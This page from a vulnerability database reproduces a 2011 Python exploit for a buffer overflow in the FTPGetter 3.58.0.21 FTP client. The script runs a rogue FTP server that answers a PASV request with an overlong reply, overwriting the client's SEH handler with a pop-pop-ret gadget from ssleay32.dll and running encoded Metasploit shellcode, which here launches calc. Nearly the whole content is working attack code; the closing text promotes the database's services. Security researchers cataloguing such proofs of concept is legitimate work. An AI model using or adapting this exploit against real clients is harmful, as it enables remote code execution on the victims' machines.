Lucene search
K

FTPGetter 3.58.0.21 Buffer Overflow

🗓️ 03 Feb 2011 00:00:00Reported by modpr0beType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 37 Views

FTPGetter v3.58.0.21 Buffer Overflow (PASV) Exploi

Code
`#!/usr/bin/python  
  
# Exploit Title: FTPGetter v3.58.0.21 Buffer Overflow (PASV) Exploit  
# Date: 02/03/2011  
# Author: modpr0be  
# Software Link: http://www.ftpgetter.com/ftpgetter_setup.exe  
# Vulnerable version: <= 3.58.0.21  
# Tested on: Windows XP SP3 (VMware Player 3.1.3 build-324285)  
# CVE : N/A  
  
# ======================================================================  
# ___ _ __ __ __ _ __  
# ____/ (_)___ _(_) /_____ _/ / ___ _____/ /_ (_)___/ /___ ____ _  
# / __ / / __ `/ / __/ __ `/ / / _ \/ ___/ __ \/ / __ / __ \/ __ `/  
# / /_/ / / /_/ / / /_/ /_/ / / / __/ /__/ / / / / /_/ / / / / /_/ /  
# \__,_/_/\__, /_/\__/\__,_/_/ \___/\___/_/ /_/_/\__,_/_/ /_/\__,_/  
# /____/ http://www.digital-echidna.org  
# ======================================================================  
#  
# Greetz:  
# say hello to all digital-echidna org crew:  
# otoy, cipherstring, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix  
# special thx:  
# otoy, cipherstring, cyb3r.anbu, oebaj.  
# help for documentation:   
# offsec, exploit-db, corelan-team, 5M7X, loneferret.  
#  
  
#### Software description:  
# Save time on FTP/SFTP updates! Plan your uploads and automate the workflow.  
# Schedule and automate file transfers with a centralized console. Let your  
# computer move or synchronize information securely between home and office  
# automatically according to the schedule!  
#  
#### Exploit information:  
# There was an error when sending a response to the PASV command.  
# Fortunately, these errors lead to buffer overflows.  
# This exploit is unstable. It should only be used as a POC.  
# I tried several times on various systems,   
# the buffer sometimes changed.  
#  
### Some Conditions:  
# This POC is using "the most selling feature" Automated FTP Request.  
# So this POC, I use Auto Download with / as the Source Files.  
# Scheduler Settings also set to Repetitive.  
# Make sure to run the program first before this POC.  
#  
#### Other information:  
# It's a part of "Death of an FTP Client" :)  
# For more information, loot at here:  
# http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/  
#  
##  
  
from socket import *  
import struct  
import time  
  
total = 1000  
junk1 = "\x41" * 485  
nseh = "\xeb\x06\x90\x90"  
seh = struct.pack('<L', 0x1001A149) # ppr from ssleay32.dll  
nops = "\x90" * 8  
  
# msfpayload windows/exec CMD=calc R | msfencode -t c  
# [*] x86/shikata_ga_nai succeeded with size 223 (iteration=1)  
# BadChars \x00\xff\x0d\x5c\x2f\x0a  
  
shellcode = (  
"\xdb\xd1\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x32\xb8\xca\xea\xc0"  
"\x1f\x31\x42\x17\x83\xc2\x04\x03\x88\xf9\x22\xea\xf0\x16\x2b"  
"\x15\x08\xe7\x4c\x9f\xed\xd6\x5e\xfb\x66\x4a\x6f\x8f\x2a\x67"  
"\x04\xdd\xde\xfc\x68\xca\xd1\xb5\xc7\x2c\xdc\x46\xe6\xf0\xb2"  
"\x85\x68\x8d\xc8\xd9\x4a\xac\x03\x2c\x8a\xe9\x79\xdf\xde\xa2"  
"\xf6\x72\xcf\xc7\x4a\x4f\xee\x07\xc1\xef\x88\x22\x15\x9b\x22"  
"\x2c\x45\x34\x38\x66\x7d\x3e\x66\x57\x7c\x93\x74\xab\x37\x98"  
"\x4f\x5f\xc6\x48\x9e\xa0\xf9\xb4\x4d\x9f\x36\x39\x8f\xe7\xf0"  
"\xa2\xfa\x13\x03\x5e\xfd\xe7\x7e\x84\x88\xf5\xd8\x4f\x2a\xde"  
"\xd9\x9c\xad\x95\xd5\x69\xb9\xf2\xf9\x6c\x6e\x89\x05\xe4\x91"  
"\x5e\x8c\xbe\xb5\x7a\xd5\x65\xd7\xdb\xb3\xc8\xe8\x3c\x1b\xb4"  
"\x4c\x36\x89\xa1\xf7\x15\xc7\x34\x75\x20\xae\x37\x85\x2b\x80"  
"\x5f\xb4\xa0\x4f\x27\x49\x63\x34\xd7\x03\x2e\x1c\x70\xca\xba"  
"\x1d\x1d\xed\x10\x61\x18\x6e\x91\x19\xdf\x6e\xd0\x1c\x9b\x28"  
"\x08\x6c\xb4\xdc\x2e\xc3\xb5\xf4\x4c\x82\x25\x94\x92")  
  
junk2 = "\x90" * (total - len(junk1+nseh+seh+nops+shellcode))  
payload = junk1+nseh+seh+nops+shellcode+junk2  
  
host = "0.0.0.0"  
port = 21  
  
s = socket(AF_INET, SOCK_STREAM)  
s.bind((host, port))  
s.listen(1)  
  
print "\n[+] FTPGetter v3.58.0.21 Buffer Overflow POC"  
print "[+] by modpr0be[at]digital-echidna[dot]org."  
print "============================================="  
print "[+] Evil FTP Server Started."  
print "[+] Listening on %d ..." % port  
  
cl, addr = s.accept()  
print "[+] Connection accepted from %s" % addr[0]  
print "[+] Whatever for username and password."  
  
def hajar():  
welcome = "220 Welcome to EvilFTP Server\r\n"  
cl.send(welcome)  
cl.recv(1024)  
cl.send("331 User name okay, need password\r\n") # received USER  
cl.recv(1024)  
cl.send("230-Password accepted\r\n") # received PASS  
cl.send("230 User logged in.\r\n")  
cl.recv(1024)  
cl.send("215 UNIX Type: L8\r\n") # received from SYST  
cl.recv(1024)  
cl.send("200 Type set to I\r\n") # received from TYPE I  
cl.recv(1024)  
cl.send("200 OK\r\n") # received from REST 0  
cl.recv(1024)  
cl.send("200 Command not Understood\r\n") # received from OPTS UTF8 OFF  
cl.recv(1024)  
cl.send("257 \"/\" is current directory\r\n") # received from PWD  
cl.recv(1024)  
cl.send("250 CWD Command successful.\r\n")  
cl.recv(1024)  
cl.send("257 \"/\" is current directory\r\n") # received from PWD  
cl.recv(1024)  
cl.send("200 Type set to I\r\n") # received from TYPE I  
cl.recv(1024)  
print "[+] Begin sending evil passive mode.."  
cl.send("227 Entering Passive Mode ("+payload+",1,1,1,1,1)\r\n") # this is the junk from passive mode  
cl.recv(1024)  
cl.close()  
  
hajar()  
time.sleep(3)  
print "[+] Skadush! Calculator will pop out..\r\n"  
  
s.close()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation